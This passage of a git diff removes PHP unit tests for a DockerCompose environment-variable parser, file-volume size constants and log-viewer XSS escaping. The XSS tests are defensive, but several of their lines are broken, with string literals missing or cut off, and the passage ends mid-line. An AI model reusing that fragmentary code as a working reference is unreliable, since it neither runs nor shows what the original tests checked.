- $comment = is_array($data) ? ($data['comment'] ?? null) : null;
-
- // Verify the extraction
- expect($value)->toBeString();
- expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
-
- if ($key === 'KEY1') {
- expect($value)->toBe('value1');
- expect($comment)->toBeNull();
- } elseif ($key === 'KEY2') {
- expect($value)->toBe('value2');
- expect($comment)->toBe('This is a comment');
- } elseif ($key === 'KEY3') {
- expect($value)->toBe('value3');
- expect($comment)->toBeNull();
- }
- }
-});
-
-test('DockerCompose handles plain string format gracefully', function () {
- // Simulate a scenario where parseEnvFormatToArray might return plain strings
- // (for backward compatibility or edge cases)
- $variables = [
- 'KEY1' => 'value1',
- 'KEY2' => 'value2',
- 'KEY3' => 'value3',
- ];
-
- // Test the extraction logic
- foreach ($variables as $key => $data) {
- // Handle both array format ['value' => ..., 'comment' => ...] and plain string values
- $value = is_array($data) ? ($data['value'] ?? '') : $data;
- $comment = is_array($data) ? ($data['comment'] ?? null) : null;
-
- // Verify the extraction
- expect($value)->toBeString();
- expect($comment)->toBeNull();
- expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
- }
-});
-
-test('DockerCompose handles mixed array and string formats', function () {
- // Simulate a mixed scenario (unlikely but possible)
- $variables = [
- 'KEY1' => ['value' => 'value1', 'comment' => 'comment1'],
- 'KEY2' => 'value2', // Plain string
- 'KEY3' => ['value' => 'value3', 'comment' => null],
- 'KEY4' => 'value4', // Plain string
- ];
-
- // Test the extraction logic
- foreach ($variables as $key => $data) {
- // Handle both array format ['value' => ..., 'comment' => ...] and plain string values
- $value = is_array($data) ? ($data['value'] ?? '') : $data;
- $comment = is_array($data) ? ($data['comment'] ?? null) : null;
-
- // Verify the extraction
- expect($value)->toBeString();
- expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3', 'KEY4']);
-
- if ($key === 'KEY1') {
- expect($value)->toBe('value1');
- expect($comment)->toBe('comment1');
- } elseif ($key === 'KEY2') {
- expect($value)->toBe('value2');
- expect($comment)->toBeNull();
- } elseif ($key === 'KEY3') {
- expect($value)->toBe('value3');
- expect($comment)->toBeNull();
- } elseif ($key === 'KEY4') {
- expect($value)->toBe('value4');
- expect($comment)->toBeNull();
- }
- }
-});
-
-test('DockerCompose handles empty array values gracefully', function () {
- // Simulate edge case with incomplete array structure
- $variables = [
- 'KEY1' => ['value' => 'value1'], // Missing 'comment' key
- 'KEY2' => ['comment' => 'comment2'], // Missing 'value' key (edge case)
- 'KEY3' => [], // Empty array (edge case)
- ];
-
- // Test the extraction logic with improved fallback
- foreach ($variables as $key => $data) {
- // Handle both array format ['value' => ..., 'comment' => ...] and plain string values
- $value = is_array($data) ? ($data['value'] ?? '') : $data;
- $comment = is_array($data) ? ($data['comment'] ?? null) : null;
-
- // Verify the extraction doesn't crash
- expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']);
-
- if ($key === 'KEY1') {
- expect($value)->toBe('value1');
- expect($comment)->toBeNull();
- } elseif ($key === 'KEY2') {
- // If 'value' is missing, fallback to empty string (not the whole array)
- expect($value)->toBe('');
- expect($comment)->toBe('comment2');
- } elseif ($key === 'KEY3') {
- // If both are missing, fallback to empty string (not empty array)
- expect($value)->toBe('');
- expect($comment)->toBeNull();
- }
- }
-});
diff --git a/tests/Unit/LocalFileVolumeContentSizeTest.php b/tests/Unit/LocalFileVolumeContentSizeTest.php
index 949767cf9a..e3197ed25c 100644
--- a/tests/Unit/LocalFileVolumeContentSizeTest.php
+++ b/tests/Unit/LocalFileVolumeContentSizeTest.php
@@ -23,15 +23,6 @@ use Tests\TestCase;
uses(TestCase::class, RefreshDatabase::class);
-it('exposes a 5 MiB content size limit', function () {
- expect(LocalFileVolume::MAX_CONTENT_SIZE)->toBe(5_242_880);
-});
-
-it('exposes binary and too-large placeholder constants', function () {
- expect(LocalFileVolume::BINARY_PLACEHOLDER)->toBe('[binary file]');
- expect(LocalFileVolume::TOO_LARGE_PLACEHOLDER)->toBe('[file too large to display]');
-});
-
it('flags is_too_large when content matches the placeholder', function () {
$volume = new LocalFileVolume;
$volume->content = LocalFileVolume::TOO_LARGE_PLACEHOLDER;
diff --git a/tests/Unit/LogViewerXssSecurityTest.php b/tests/Unit/LogViewerXssSecurityTest.php
index 3067f24cd1..4243b2d94b 100644
--- a/tests/Unit/LogViewerXssSecurityTest.php
+++ b/tests/Unit/LogViewerXssSecurityTest.php
@@ -1,16 +1,5 @@
'.$escapedContent.'';
-
- $document = new DOMDocument;
- $document->loadHTML($html, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
-
- return $document->documentElement->getAttribute('data-line-text');
-}
-
describe('Log Viewer HTML Tag Preservation', function () {
it('lets Blade escape deployment log data attributes only once', function () {
$view = file_get_contents(__DIR__.'/../../resources/views/livewire/project/application/deployment/show.blade.php');
@@ -21,30 +10,9 @@ describe('Log Viewer HTML Tag Preservation', function () {
->not->toContain('data-log-content="{{ htmlspecialchars($searchableContent) }}"')
->not->toContain('data-line-text="{{ htmlspecialchars($lineContent) }}"');
});
-
- it('preserves literal html-like log text for client-side search reset and highlighting', function () {
- $logContent = 'A
';
-
- expect(renderedDataLineTextValue($logContent))->toBe($logContent);
- });
});
describe('Log Viewer XSS Prevention', function () {
- it('keeps script-like log output as text in Blade rendered markup', function () {
- $maliciousLog = '';
- $escapedLog = e($maliciousLog);
-
- expect($escapedLog)
- ->toContain('<script>')
- ->not->toContain('